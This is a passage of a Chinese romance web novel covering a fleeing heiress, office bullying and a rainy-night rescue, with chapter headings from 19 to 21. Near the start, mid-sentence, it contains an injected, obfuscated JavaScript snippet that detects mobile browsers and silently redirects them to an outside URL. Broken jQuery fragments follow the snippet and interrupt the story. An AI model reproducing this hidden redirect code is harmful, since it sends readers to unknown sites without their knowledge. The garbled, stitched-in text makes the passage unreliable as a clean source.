时千岁撇撇嘴,应付似的“哦”了一声,心里悄悄摸摸地打起了小主意。
…
翌日晚。
时千岁被父亲拉去了酒会。
向侍者递交了邀请函,时千岁提起裙摆就往休息室钻。
时来运大手一挥,“千金,跟着你妹妹。”
时千岁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084765|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“.....”
至于吗?从昨晚就派人守着她,她又不会跑。
虽然...还真不一定。
时千金跟在她后边,悠悠道,“又打什么鬼主意呢?”
“哪有…”时千岁一分心,肩膀撞上了一旁的侍者。
侍者托盘中的香槟一晃,应声摔落。
重心不稳之际。
一西装革履的年轻男人从一侧闪了过来,朝她伸出了手。
时千岁后撤一步,及时避开,谨慎地打量眼前人。
年轻男人五官端正,有些清瘦,戴着一副金丝眼镜,看起来温儒优雅,他从容收回手彬彬有礼道,“时总。”视线聚集到时千岁身上时多了一抹柔情,“千岁妹妹。”
时千岁抖了抖鸡皮疙瘩,撇下嘴角,“你谁啊?”
年轻男人依旧笑得温和,“家父王建德。”
哦,爸爸口中那位“优秀”人士。
时千岁口吻生硬,“你好。”
年轻男人微微颔首,“这么生分?小时候我们还见过呢,对了能给我你的联系方式?有时间一起聚一聚。”
时千岁没什么兴趣,“抱歉啊,我先去补个妆。”
年轻男人笑笑,绅士地伸出手,比了个“请”。
时千岁点头,径直越过他,往前走,时千金跟在后边,学着那男人的腔调,拉起长音打趣道,“千岁妹妹。”
呵呵,时千岁闷闷不乐。
“千岁妹妹,这人是不是对你有意思啊?”
他有没有意思不知道,但爸爸绝对对他有意思。
时千岁无比惊恐地想。
这是叫相亲吧?
那下一步是什么...
订婚?
郎才女貌,门当户对,家族联姻!
电视剧不都这么演得?
时千岁被自己的脑回路吓出了一身冷汗,脚跟一转,抬腿变向大门处蹽。
时千金见状手一抬,拦住了她,“干什么去?”
“那什么...”时千岁急中生智,指了指手机,“大春联系不上了,我有点不放心。”
“大春不是去拳馆训练去了吗?”时千金环着胸,深深地打量着她,想要判断她话中的真实度。
“大春应该不会又负伤了吧?”时千岁余光觑时千金一眼,心中小人鞠了个九十度的躬。
呸呸呸,千万别乌鸦嘴,对不住了大春!
大春这孩子,确实不知道爱惜自己身体,每次训练都那么拼命,万一真出事...时千金眉头一皱,转身就走,背影带着几丝慌乱。
“你老实呆着,我去就好。”
老实?才怪!
时千岁躲在休息室门后,偷偷向大门张望,看到在大门不远处和年轻男人交谈甚欢的时来运,心里一紧,当下决定,跑为上策。
她蹑手蹑脚,避开众人视线,从后门开溜。
行李都不拿,拦了个车,直奔机场,买了最近时间的机票飞回北城。
待到飞机平稳落地,一颗心才放回了肚子里。
她打开手机,给大春发了条消息。
【已回北城,秘密基地见,别卖我。】
为了避免父母过于担心,又给时来运和梁双敏发了条消息。
【亲爱爸爸妈妈,学校有事,我先回北城啦,过几天忙完我去国外看你们,勿念。】
她是这么想的,索性爸妈只是回来几天,等他们回国外,就自由了,到时候天大地大她最大。
时千岁美滋滋地招呼了一辆出租车,前往秘密基地。
这秘密基地,是她才考上大学时,瞒着家里所有人用自己的压岁钱买的市中心地段的一间精装大平层,空间不大,只有220平,但胜在小区私密性好,位置优越,安全又方便。
因为放暑假原因,时千岁给住家保姆放了个长假。
客厅有些杂乱。
时千岁无暇收拾,直奔卧室,泡了个澡,舒舒服服地钻到了床上。
临睡前,看了眼手机。
嘶,爸妈和姐姐居然没有一个人理她。
屏幕上只陈列着大春简洁的回应。
【好。】
过于平静了,好奇怪。
带着疑惑,时千岁进入了梦乡。
谁料,第二天,一大清早。
时千岁便被一阵急促的敲门声吵醒。
她揉了揉惺忪睡眼,磨磨蹭蹭前去开门。
时千岁不耐烦,“谁啊。”
门外响起时来运饱含怒气的声音,“我。”
时千岁:“!!!”
睡意瞬间全无。
怎么办?
她六神无主,来回踱步,像只无头苍蝇。
犹豫片刻,时千岁终于放弃了挣扎。
事已至此,先滑跪吧。
她深吸一口气,打开门,拉出一个生硬的笑,“爸、妈、姐姐,还有大春,你们...都来了?”当她视线定格在最后一个人脸上,心跳重重落下来一拍,甚至连呼吸都凝滞了。
“言浠..你你..怎么也来了?”
时来运浑身低气压,冷着脸往前逼近一步,抽出了腰带。
时千岁惊恐后退。
“等等...”
“那什么。”
滑跪之前,时千岁哀求的眼神望向言浠,问,“你能不能转个身?”
她要面子!!!
第20章【VIP】
第20章
◎微凉的指尖滑过了娇嫩一点◎
时千岁做出这个举动的瞬间就后悔了。
布料轻薄几乎是肌肤相贴,温热的呼吸近在咫尺,好闻的冷香缠缠绕绕,勾弄着她的心跳。
落在胸膛里,一下比一下清晰。
周遭温度徒然拔高,像是有一把无名的火,在空气徐徐蔓延。
热意席卷全身,时千岁呼吸渐深。
一个不经意间,微凉的指尖滑过了娇嫩一点,激起了一股微弱的电流,沿着脊椎骨一路攀爬至头顶。
引起时千岁一阵微微的战栗,浑身都软了下来整个人都依附到了眼前人身上,她紧咬着下唇,才不至于让一些奇怪的声音从口中倾泄而出。
这样的姿势僵持了不知多久。
耳边突然传来一道冰冷刺骨的声音。
“下去。”
像是当头浇下了一盆冷水,瞬间冲散了她脑海中的混沌,时千岁松开了抓在她脖颈的手,微微探起身,就撞入了一双漆黑幽寒的眼底。
时千岁心里“咯噔”一声,慌不迭的从她身上跳下。
双脚踩到湿润的地板,眼前人转了个身,大步离去
言浠把卧室门紧闭,走向窗台,半路不放心,又折返而回拧上了门锁。
四周安静下来,刚才的场景才一点一点在脑海中浮现。
女孩炙热的呼吸近在咫尺,骚弄着她的肌肤,浴室灯光刺眼明亮,不经意的望下去是一片炫目的白,掌心柔软,弹性十足,只用感受就能想像的到那原本的型廓,比那次酒店朦胧一瞥更要来的真实、生动。
迟来的热意席卷面颊。
言浠口舌干燥。
她绕到床边,端起放在床头柜的凉白开,一饮而下。
轻轻呼出一口气。
脑海里响起了一个清晰的声音。
其实一点也不小。
言浠:“!!!”
玻璃杯落在木质的床头柜上发出清脆一响,言浠大步走向窗台,打开窗,面向茫茫夜色,清凉的晚风扑面,那莫名的燥热非但不减反而在徐徐上升。
脑海中画面挥之不去
心绪无法沉静。
言浠闭了闭眼,似是在思考些什么,不多时,蹲到了书柜旁,翻翻找找,从最底层抽出了一本佛经。
她拿出一只钢笔,摊牌纸面,正襟危坐在书桌旁,开始专心的抄写。
观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄。舍利子,色
“叩叩叩。”
突兀的敲门声响起。
言浠手一顿,“色”字最后的竖弯钩划出了长长一条。
她太阳穴跳了跳,深呼吸几口,才维持住了往常的语气。
“有什么事?”
顿了一秒,时千岁低沉的声音才从门后出现,“我是来给你道歉的”
言浠淡淡道,“不需要。”
“你不是生气了吗?”
言浠握着钢笔的手一紧,笔尖刺破了纸背,“我没有!”
“没生气刚刚脸色那么难看,现在对我还这么凶”
言浠沉默,她不该凶吗?这小家伙不仅爱占她便宜,现在好了,进化了,还爱让别人占自己便宜了。
“我这次是穿衣服来的”
言浠:“”
不然呢?
时千岁丝毫没有要走的意思,不厌其烦的敲着门。
无奈,言浠只能前去开门。
门打开一条缝。
小家伙板板正正的站在门口,摆出了一副道歉的态度,言浠不经意的望下看了一眼,衣服确实穿戴整齐,她松了口气,“说吧。”
“我错了”
“不应该做出这么没有边界感的举动。”
“女女授受不亲,虽然这事你也不吃亏对吧?”
言浠:“???”
道歉是这么道的?
“而且这事也不能全赖我,谁叫你昨天嘲笑我来的”时千岁声音越来越小。
言浠恼道,“这么说怪我喽?”
她抬起掌心把时千岁推了出去,关上了门。
时千岁眼疾手快抬手阻挡,坚硬的门板磕碰到手臂,那白嫩的皮肤迅速的泛起了一圈红,她轻哼了一声,眼底涌起了泪花。
“对不起,别不理我。”
言浠盯着那处泛红的痕迹,微不可察的蹙了蹙眉。
“知道了。”
时千岁扬起手背抹了抹的眼睛,破涕而笑,“你不生气了?”
言浠目光注视着到眼前人依旧湿润的睫羽,语气不自觉柔和了下来,“嗯,但是”
“以后不要拿自身安全开玩笑。”
时千岁自动接上了后边句话——怪吓人的。
所以她乌黑的眸子亮晶晶的,“你这么担心我?”
言浠:“”
这小家伙脑回路没救了。
“好了别耽误我抄”佛经
时千岁疑道,“抄什么?”
差点说漏,言浠舌头转了个弯,“没事就回屋去,我还要忙。”
说着关上了门。
这晚,时千岁虽然没再来捣乱,但脑海中那个赤裸的影子却总是去而复返扰人心绪。
不得已,她挂了作者生涯里有史以来的第一张请假条。
***
时千岁这番举动带来的后果是言浠有意无意的疏远,两人分开上班、下班,白天各自工作,晚上就把自己锁进卧室,丝毫不再给时千岁越界的机会。
时千岁这段时间忙着适应从“学生”到“社畜”身份的转换,更是无法顾及其他。
两人每天的交集,固定在了洗澡前互道的一声晚安
这日,时千岁依旧错过了闹钟,她双眼一睁,糟心声喊了句“上班什么的都去死”这才晃晃悠悠起床洗漱,客厅里没有一点动静,时千岁按照以往的习惯来到了言浠卧室门口,屈指敲了敲,等了几秒没有回应,心里升起一丝暗搓搓的失落,但这点情绪又在看见餐桌上言浠为她准备好的简餐时又消失的一干二净。
时千岁简单的塞了两口面包,抓起牛奶,便出了门。
一路紧赶慢赶到公司,时千岁气喘吁吁的和前台打了声招呼,“姐姐,早上好。”
前台小姐姐一见她就笑了,再不似第一次见面时一身班气的冷漠,“早千岁,哎上次你给我拿的面膜真好用哎,等会链接发我呗。”
时千岁打了个指纹卡,上边蹦出了“迟到”两个大字,上班一个星期就迟到三次,糟心,早知道不跑了,害她出了一身汗。
她呼出一口气,转身慢慢吞吞往里走,“好说好说,我等会发群里。”
“对了,”前台小姐姐唤住了她。
“提醒你一下,孙主管刚刚看了考勤表,有点不太高兴的样子。”
他什么时候高兴过?要说在整个公司里,时千岁最不喜欢的就是他,整日一副高高在上的模样,对她们实习生爱答不理的,而且还有一点,时千岁偷偷观察过,这人好像有点喜欢搞男女区别对待那一套。
懒得理他,时千岁挥挥手,“谢啦。”
时千岁晃到了工位,屁股还没坐热,椅子“哗啦”一响,周琦琦靠了过来,例行每日八卦。
“早上好啊,小美人。”
时千岁顿时来了精神,笑容满面,“早,对了,”前两天她回自己房子收拾了点必需品,带过来一箱手工香薰,这是姐姐当时出差意大利,从一个很有名气的工匠手里定制的,想着家里这玩意还有很多,索性带过来分给平时对她多有照顾的同事们。
“王姐,周姐,吶送你们,有助睡眠的。”
“千岁这么客气。”
“周姐,今天气色这么好,是昨晚背着我们偷偷美容去了吗?刘姐,你这口红色号真好看哎”
同组的姐姐们被这张带了蜜的小嘴哄得一个个喜笑颜开的,自从时千岁进入公司,办公室的整体气氛都活跃了起来不再向以往一般死气沉沉。
漂亮又讨喜的小姑娘,往往会被众人拉入一个“关键性”问题。
——有对象了吗?
时千岁好不容易摆脱了各位“红娘们”的好意,疲惫的回到了工位,周琦琦罕见严肃的把那盒香薰推了回来。
时千岁:“???”
“千岁,你家里有矿吗?”她问。
额,时千岁认真想了想,她家好像不涉及这个产业,于是直言道,“没有。”
周琦琦松了口气,“吓我一跳,我还以为你富二代呢,”她又语重心长道,“我们实习工资不多,毕业后要用的钱还多着呢。”
见周琦琦是真的为她着想,时千岁也是耐心解释,“放心吧我有钱,再说没多少钱的小玩意,拿去玩吧。”
年轻人就是喜欢逞强,周琦琦打开手机识图功能,扫了一眼,查无此物,有几个样式差不多的标价在两位数,这才放心收下,“那就谢谢小美人了。”
时千岁摆摆手,“小意思。”
这时孙主管那不合时宜的声音出现在头顶,“把你们那些与上班无关的破东西都收起来,资料准备好,半小时后开会。”
或是距离太近,时千岁依稀听到孙主管嘴里飙出了句侮辱人的字眼,“一群没卵用的长舌妇。”
时千岁皱了皱眉,对眼前人的讨厌程度直线飙升。
孙主管屈指敲了敲桌子,眼神撇下来时尽显轻蔑,“迟到几次了?去财务部把罚款交了。”
时千岁“切”了一声,交呗。
孙主管见状黑了脸,“你什么态度?不服?”
时千岁站起来掏掏耳朵,回视过去,眼神丝毫不躲避,“没什么啊,我只是在想要不先交它个一个月的,省的麻烦。”她真的觉得可行,毕竟自家公司,左手出右手进,羊毛出在羊身上。
孙主管就没遇到过敢公然顶撞她的实习生,当即拍了桌子,放下狠话,“再有一次,给我收拾铺盖走人!”
虽然她巴不得现在就长翅膀飞出公司,但自己走和被轰走那可是本质区别,她的自尊决不允许这种情况发生,时千岁表情逐渐严肃
交完罚款回办公室,时千岁的手机群里炸开了锅。
这个群是公司里她们几个互相聊得来的一起拉的小群,没有领导,畅所欲言。
时千岁滑了几条消息,基本上都是在安慰她,以及吐槽孙主管,后边是商量着今晚聚餐的事。
她选择性的回复了几条@。
【我没事,各位放心。】
【今天不了,下次我请大家。(抱拳.jpg)】
又找出面膜的链接,发送给了前台小姐姐,暗灭了手机。
周琦琦双手扒着座椅靠背,回身捂着胸口,一副浮夸的心痛表情,“小美人不要这样呀,没有你我们可怎么活呀~”
时千岁:“”
她打了个响指,“收。”
周琦琦略微收敛,“人家在哄你呢,那姓孙的十个人有九个半讨厌,不要因为无关人等毁了心情,明天可是周六啊!”
得到这么多人关心,时千岁早就把刚刚那点不愉快抛诸脑后了。
之所以不能参加是因为时来运和梁双敏明天回国外,所以提前一天飞临海,一家几口小聚一下,时间撞上了,没有办法。
听完时千岁的解释,周琦琦叹了句,“好吧。”
“一个你,一个徐梦瑶,这局就组不成。”
时千岁突然想起前两天厕所门口徐梦瑶的异样,就顺口问了一嘴,“她怎么了?”
周琦琦摸摸下巴,“可能心情不好。”
“应该是二组那个吴丽闹得。”
周琦琦看了眼周围,见没人留意这边,把椅子拉到了时千岁身边,小声的解释这些天发生在徐梦瑶身上的事,“吴丽这个人性*格蛮横,又特爱占人便宜,和姓孙的那位并称咱部门的雌雄双煞,”周琦琦神秘兮兮,“听说她跟孙主管两人还”
周琦琦两跟大拇指,弯了弯,“所以没人敢得罪。”
时千岁:“”
她不想理这些恩恩怨怨情情爱爱,“所以关徐梦瑶什么事?”
周琦琦解释,“徐梦瑶么,说话温温柔柔的,性子软,就被吴丽盯上了,前些天非要闹着让徐梦瑶请全组喝奶茶,哦对,你当时没在。”
这有点过分了吧,这不是纯纯道德绑架吗?时千岁问,“那她请了吗?”
“请了。”
“这还不算,出去跑业务的公费也都是徐梦瑶垫的,哦还有更过分的每天一杯咖啡,专挑贵的点,就是不给钱,徐梦瑶家庭条件又不好”
难怪徐梦瑶最近总是心事重重的,时千岁一直听说职场复杂、黑暗,今天也算是见识到了,而且还是发生在自家公司。
于情于理,她都不能做事不管,时千岁刚站起来,就撞见了拎着咖啡匆匆而来的徐梦瑶。
时千岁手一伸,拦住了她,“咖啡给我。”
徐梦瑶一愣,飞速的埋下了头,拎着咖啡袋子的手紧了又紧,“千千岁”
看出了徐梦瑶的局促,时千岁阴沉的面孔上绽出了一个温柔的笑容,“咖啡我去帮你送,吴丽姐让你把之前垫付的发票找出来,当下我来拿。”
“好”
时千岁提着咖啡,过去找吴丽。
吴丽此时正在跟身边的同事炫耀昨天刚做的美甲。
“你看我这个花色选的好看不?”
时千岁把咖啡往桌子上一放,屈指敲了敲,“三十八块。”
吴丽头也没回,“先放那吧,等会转你。”
时千岁一个跨步过去,横到了吴丽眼前,递出了二维码,“扫钱。”
她声音不大,却带着不容置喙的强势,如一颗石子投入平静的湖面,炸起了层层水花。
周围的人突然噤了声,好几双眼睛同时向两人望了过来,吴丽终于舍得抬起了头,看到眼前站着的不是徐梦瑶,不禁疑惑,怎么换人了。
她上下打量着眼前面色不虞的人,别看平时见人就笑讨喜的很,板起脸来还挺哄人。
但说到底还不是刚出社会连人情世故都不懂的黄毛丫头?
吴丽往椅背上一靠,吊起眉毛,“不是说等会,没看见在忙吗,又少不了你的,”真是听不懂人话。
“哦这样啊”时千岁站起身,重新把桌上咖啡拎了起来,四下寻觅了一圈,对准了右手边的垃圾桶,狠狠的甩了进去。
吴丽被这番举动震慑住了,缓了好久才憋出一句,“你什么意思?”
时千岁又指了指地上的垃圾桶,安慰处于爆炸边缘的吴丽,“吴姐,一把年纪了别气,咖啡我请你了,等你有空了记得捡起来喝。”
“有空”两个字特意拉了个长音。
时千岁看着吃瘪的吴丽心情舒畅极了,以至于完全没留意到同事们忌惮的眼神,于是一转身,就看到了伫立在门口的言浠,以及那位“跟屁虫”林沐涵。
时千岁心里一慌,手指紧紧的扣着裤缝,指尖泛起了白。
“言”
言浠静静看她一眼,走向了办公室
回到工位,时千岁有些心不在焉。
吴丽的办公室在隔壁,中间隔了一道墙,因此周琦琦她们没有亲眼看见时千岁整治吴丽的现场,但是还是从小群里了解了个大概。
周琦琦探出个大拇指,晃了晃,“太帅了,你是这个。”
时千岁勉强笑笑,往桌上一瘫。
“对了,徐梦瑶,钱我给你转过去了,这几天的咖啡钱我给你要过来了,一共四百八,票据等下整理好给我,以后她再找你,你就找我。”
其实这笔钱是时千岁自掏的腰包,她这么做不是为了撑面子,而是早有打算,如果打着徐梦瑶的名义去要钱,吴丽之后肯定会加倍为难徐梦瑶,毕竟她无依无靠,索性都揽到自己头上,省事。
徐梦瑶头垂的很低,手指紧紧的捏在一起。
许久,很轻的一声,“谢谢。”
时千岁摆摆手,继续瘫,下巴蹭了蹭手臂,余光看见徐梦瑶还没走,不禁疑道,“还有事吗?”
徐梦瑶咬了下唇,小跑回了桌位,不多时双手捧了一个红灿灿的苹果过来,放到了时千岁面前,“我家果树上结的,很甜,送给你。”
周琦琦探过头,打趣道,“我的呢?”
徐梦瑶耳尖一红,偷瞄了眼时千岁,“明天再给你拿”说着一溜小跑,跑没了影。
“对了,千岁,”周琦琦难得严肃,“我得提醒你,你今天先是怼了姓孙的,然后又让吴丽下不来台,你小心他两给你穿小鞋。”
时千岁左耳进右耳出,什么小鞋不小鞋的,根本不放在心上,她现在心里只想着一件事。
言浠到底看了多久,以及她会不会觉得她咄咄逼人。
时千岁放下苹果,走出了办公室。
她漫无目的的闲逛,回过神来,不知不觉逛到了言浠办公室门口。
门开了一条细缝,依稀听见里边有人争执,时千岁不禁凑上前去,听了个墙根。
言浠冷声质问,“吴丽这种事都犯了多少次了,没有办法处理吗?”
林沐涵解释,“言言,这只关乎个人。”
“个人形象不也代表公司形象?你怎么就知道同事关系、工作氛围不会成为应试者选择公司的标准?别忘了你我都是从这个阶段走过来的。”
林沐涵声音俱是一冷,“言言,与其纠结这些小事,不如想想手上的项目。”
“林经理,你觉得这是小事?”
“言言,你!”
时千岁总算知道为什么林沐涵追了言浠那么久都没追到手了。
性格不合!
都不知道服软的,说句“我错了”能怎样,撒娇女人最好命懂不懂啊。
屋里的林沐涵在面对言浠一连质问之下,最终把话题中心指向了时千岁,“你也不用这么担心吧,凭你妹妹性格,谁也欺负不了她。”
时千岁:“”
怎么回事,还带背后说人坏话的,活该追不到人。
再说她平时可是很温柔的!
时千岁气咻咻,又急于听见言浠的回答,往前贴了两步,谁料,一个不小心撞开了门。
屋内两人同时向她望来。
时千岁偷听行为被当场抓包,索性大大方方走了进来,挥了挥手,“路过,你们继续。”
林沐涵:“”
这还怎么继续。
时千岁径直越过她,来到了言浠身边,勾动了下她的衣角,黏黏腻腻地喊了一声,“姐姐,”又看了眼自她进来就目露警惕的林沐涵,声音带了几分委屈,“你们不要为了我吵架。” !!!林沐涵无比震惊的看着时千岁,脱口而出道,“小绿茶!”
“林沐涵!”
言浠陌生的口吻唤回了她的理智,林沐涵自知失态,拿起文件夹,甩下一句“幼稚”便疾步离去。
时千岁在她背后做了个鬼脸,心情好极了。
言浠的冷厉的声音再度出现,“好玩吗?”
时千岁:“”
“在公司要叫我什么?”
时千岁目光紧盯着脚尖,不情不愿地喊了一声,“言经理。”
言浠“嗯”了一声,“去工作吧,”说完准备着手处理工作,等了几秒,没听到时千岁离去的脚步声,抬头一看,见她依旧伫立在办公桌旁,不禁疑惑,“还有别的事?”
时千岁手指轻轻搅动着衣摆,“今天这事”
“我都知道了。”
时千岁紧张,“那你觉得我”
言浠知道她要问什么。
“我觉得你做的很好。”
时千岁忽而抬眸,语气是难以抑制的激动,“真的吗?”
眼前女孩皮肤白嫩透亮,纤长卷翘的羽睫微微颤动着,在白皙的面孔上投下淡淡的阴影,大而亮的眼睛像是被晨露擦亮的琥珀,笑意在眼底荡开时那黑色的瞳仁里流淌出细碎的光,是如此的干净纯粹。
言浠望进了这双眼睛里,语气不自觉变得柔和,“真的。”
她开始还在担忧,初入职场这朵生活在父母和姐姐羽翼之下的温室小花会不会因为过于柔弱、纯真而被人所欺,经此一事她彻底打消了这个顾虑,而且还发现了她身上一个优秀的品质。
无论是被人偷拍的自己,还是被吴丽占便宜的徐梦瑶,她都没有选择袖手旁观,这份善意难能可贵。
言浠跟着勾起了唇角。
她拉开抽屉,拿出一颗糖,轻轻撕开糖衣,把糖果送进了眼前女孩口中。
“奖励。”
丝丝甜意在口中化开,蔓延到了心里,时千岁的内心被这甜蜜胀的满满的,嘴角抑制不住的高高扬起,飘飘然的飘出了办公室。
*
没过多久,周琦琦“提醒”的话便得到了印证。
首先是多出了一倍的工作量,接下来是被孙主管以各种理由的挑刺。
今天更甚,时千岁刚收拾东西准备开溜,孙主管新收的小跟班孙晋朝着她就过来了。
晦气,时千岁没有什么好脸色,“又有什么事?”
孙晋把两本字典那么厚文件放在时千岁桌子上。
“孙主管说,让你复印几份,在分门别类整理好,明天周会要用。”
时千岁拧眉,回怼道,“电子档烂在电脑里了吗?”
“别冲我发脾气呀,”孙晋摊摊手,“我就是个传话的。”
怪不得这姓孙的不敢自己跑来说,时千岁怨气及重,“放那吧!”
孙晋往外走,“那个,办公室记得打扫一下,临走把窗户关好,”他指了指外边,“等会要下雨了。”
靠,时千岁在心里报了句粗口,“我们公司没保洁吗?”
孙晋笑,“爱护公司环境人人有责么,辛苦了。”
什么伸手不打笑脸人,时千岁想撕烂他的嘴!
时千岁不情不愿的整理着文件,同事们接二连三的离开,到最后偌大的办公楼里只剩下她一个人忙碌的身影
天空被黑幕笼罩,一眼望去看不见一颗星子。
言浠关闭了吹风机,捞起一旁的手机看了眼时间,九点钟,小家伙还没回来。
今天下班后她就有点莫名的心绪不安,这会这份不安伴随着窗外逐渐飘落下来的雨而愈发强烈。
屏幕上“挂七门”的微信界面显示的依旧是她一个小时前发送的一条消息。
没有得到任何回复。
一道闪电刺破黑幕,雷声耳边炸响,言浠心脏猛地一跳,心中升起一股不祥的预感。
她抓起一把雨伞,飞速往楼下跑。
言浠沿着小区的小路一路寻找,手机屏幕被吹进来的雨水打湿,失去了灵敏度,试了几次都无法拨通时千岁的电话,她用衣服胡乱的擦拭了一下,再点击那个名字时指尖都微微发抖,终于电话拨通。
机械的等待音在嘈杂的雨声中回荡,每一道声音落下都显得格外漫长。
言浠焦急等待,在即将自动挂掉之际,电话那头终于出现了时千岁的声音。
微弱的、惊慌的、已经伴随着浓浓喘息。
言浠的心脏高高提起,不自觉地加快了步伐往出走,“你在哪?”
“刚进小区。”
言浠刚刚松口气,又因为时千岁下一句带着哭腔的话惊出一身冷汗。
“有个人一直跟着我”
事情是这样的,时千岁加完班后打了个出租车回家,一下车天空便飘起了雨点。
想到自己那糟糕的体质,时千岁把手包挡到头顶冲进了小区门口那24小时无人便利店打算买把雨伞。
谁料进门时不小心撞到了门口一光膀子的醉汉。
时千岁连声道歉。
醉汉见她只身一人,色眯眯的上下一打量,拿起手中啤酒晃了晃,“美女一起喝一杯啊?”
时千岁被那醉醺醺的口气熏的直皱眉,连番后退好几步。
醉汉紧跟上前,“一个人吗?”
时千岁也不是没经历过被恶意搭讪,但以前有大春在,总是把她保护的很好,现在独自面对一下子就慌了神,头脑一片空白,慌不迭的跑出了门。
谁知这醉汉也跟了上来,一路摇摇晃晃进了小区。
雨越下越大,衣服不一会就湿透了,雨水顺着额前发丝往下滴,眼前模糊一片,只听脚步身越来越近,时千岁心脏跳到了嗓子眼,仓惶回头,那人以离她不足一米远,朝她伸出了手。
时千岁呼吸一滞,猛的加快脚步,却猝不及防地撞到上了一个人。
“啊啊啊啊!”
时千岁被这股惯性撞到在地,连声尖叫。
直到一把伞塞进了她手中,熟悉地声音在头顶上方响起,“是我。”
时千岁胡乱用手背抹了抹糊住眼睛的雨水,看清眼前人时,紧绷的神经一下子放松了下来,眼泪随之蜿蜒而下。
“言浠”
言浠俯身温柔的替她揭去眼泪,接着在时千岁惊讶的目光下起身朝那醉汉走去,一把擒住了那人的手腕。
只见那人的手腕以诡异的角度扭曲着伴随着阵阵杀猪般的惨叫。
那人被激怒,拎起酒瓶子砸向言浠头顶,言浠目光一凛,回身闪过飞出不留余力的一脚。
酒瓶落地伴随一声闷响,将近她两个身形的醉汉被她掀翻在地,摔进泥里,缓了好久,连滚再爬的逃离了。
一套连招下来左右不超过一分钟,足以让时千岁看呆了眼。
言浠把湿发拢到耳后,回过头蹲到了面色煞白的时千岁身前,挥了挥手,“有没有受伤?”
时千岁忽地抬起头,崇拜的目光死死的钉在了言浠的脸上,“哇!”
“好帅!!!”
又移到了那轻易就让人惨叫连连的手上,没头没脑的说了句,“一看就很有劲儿!”
言浠:“???”
这是重点吗?真不知道小家伙的脑袋里一天到晚都在想什么。她有些气恼,语气也重了些,“没事就起来,回家。”
时千岁这才后知后觉,自己还瘫坐在地上,她尝试了一下,有些难为情,“我有点腿软”
言浠:“”
她无奈背过身,蹲下示意她上来。
时千岁也没扭捏,乖乖攀上了言浠的脖颈,继续刚刚的夸赞,“言浠姐,你那一脚帅到了我心巴上,我要对你盲目崇拜了!你是练过搏击吗?什么时候练得练了多久?你和大春谁厉害?”
眼前人突然定住了脚步,肩膀紧绷,叫了一声她的名字。
“为什么不给我打电话让我去接你?”
责怪的话隐融进嘈杂的雨声中只剩惊心的后怕。
时千岁声音一弱,“我怕我麻烦你。”
“不麻烦,也可以麻烦。”
“以后我们一起走。”
时千岁在心里轻轻地咀嚼了一遍这句话,把脸颊轻轻贴到了她的背上,“好。”
言浠的背不宽,却能给人足够的心安,在彼此交融的体温里,时千岁的心跳一下比一下清晰。
“孙剑南最近在故意难为你?”
身后的人突然安静了,言浠疑惑,“嗯?”
时千岁从纷乱的情绪中回神,下意识贴近了言浠,“什么?”
温热的唇瓣滑过耳畔肌肤激起一阵微弱的电流,言浠浑身一僵,顿住了脚步,她深深吐出一口气调整了下姿势,继续往前走,“需不需要我帮忙?”
时千岁手指轻轻的在她肩膀上点了点,含笑问,“怎么帮?”
“我去找孙剑南。”
“那不如直接告诉全公司,我是来运集团的千金小姐更直接更有震慑力,别说找我麻烦了,我就是把他头当球踢他都得怕自己脑袋硬硌到我脚。”
言浠成功被逗笑,又说,“那调到我办公室?”
那岂不是要和她共处一室?天天面对着那么一张脸,想想都激动。但时千岁拒绝的很果断,她要跟姓孙的杠到底。
别人越觉得她不行,她就越要做好这件事,用实力证明自己。
时千岁以玩笑口吻说道,“言经理,你信不信不出一天,全公司就会传出你跟我的八卦,说我是你女朋友,或者说你金屋藏娇?”
言浠一噎,“好吧。”
好吧什么好吧?自己当她女朋友不好吗?时千岁试探的小心思落空,有点赌气道,“反正你别管了,我自己能处理好。”
“不靠任何人!”
还是小看了这个小家伙,言浠欣慰。
“好,相信你。”
到了家,言浠把时千岁推进了浴室让她先好好洗个热水澡,自己则是拿了块浴巾随便擦了擦身子换上了睡裙就钻进了厨房。
煮了一碗热气腾腾的鸡蛋面,配了一碗热茶,看着时千岁吃光,又给她测了个体温,见无异样,这才放她进了卧室休息。
时千岁和言浠到了声晚安,卧室门一关,把自己抛到了床上,咬唇笑个不停。
好贴心!
“嗡嗡。”
床头柜上的手机接连震了震。
时千岁从毯子中伸出一只手,捞起手机查看消息。
来信人是大春。
big春:【嘿嘿。】
时千岁:“???”
她调整了个舒服的姿势回复信息。
【呦我们big春终于舍得给我发信息了吗?说吧是不是你把秘密基地供出来的?】
big春:【梁妈套我话,我也没办法。】
还挺押韵,时千岁本来就没打算追究,于是回道。
【原谅你了,还有事吗?】
big春:【上上次去北城捉你,时爸不带我怕我给你通风报信,上次他们临走前去找你吃饭,还是不带我去!说让我在家打扫那些食材,你说时爸没事买那么多东西干什么】
时千岁看着这长篇大论阅读障碍都要犯了,她怎么也想不明白一向沉默寡言的big春在聊天软件上话怎么会这么密。
【所以呢,说重点。】
big春:【你和言小姐同居了?】
时千岁:“”
兜这么大一圈原来是为了问这个
【你才知道吗?】
big春:【我都错过了什么?(打滚.jpg)】
big春:【啊啊啊啊!】
big春:【所以你两上床了没?】
“???”
big春紧急撤回了一条消息
20-30
第21章
◎你有女朋友吗?没有的话考虑一下我呗◎
时千岁在这方面思想很开放,也从不避讳谈论性方面的话题,但当她猝不及防的看见这行字时还是被惊到从床上弹了起来。
不是,这都哪跟哪儿?
她实在是搞不懂大春的脑回路。
【我都看见了!】
big春:【缘份分分秒秒都妙不可言~】
万万没想到大春居然这么热衷于八卦,时千岁看乐了,歪回到床上,枕着头单手打字道。
【你要不要高歌一曲啊?】
big春:【我不会唱歌。】
时千岁:“”
【好了,我知道,回到上一个话题,我的大春,虽然缘分妙不可言,但你不觉得你之前说的“有无限可能”和“上床”中间隔着十万八千里吗?】
时千岁又随手补了一行字。
【我们八字还没有一撇。】
发送完毕,时千岁盯着这句话中的“我们”两字陷入了沉思。
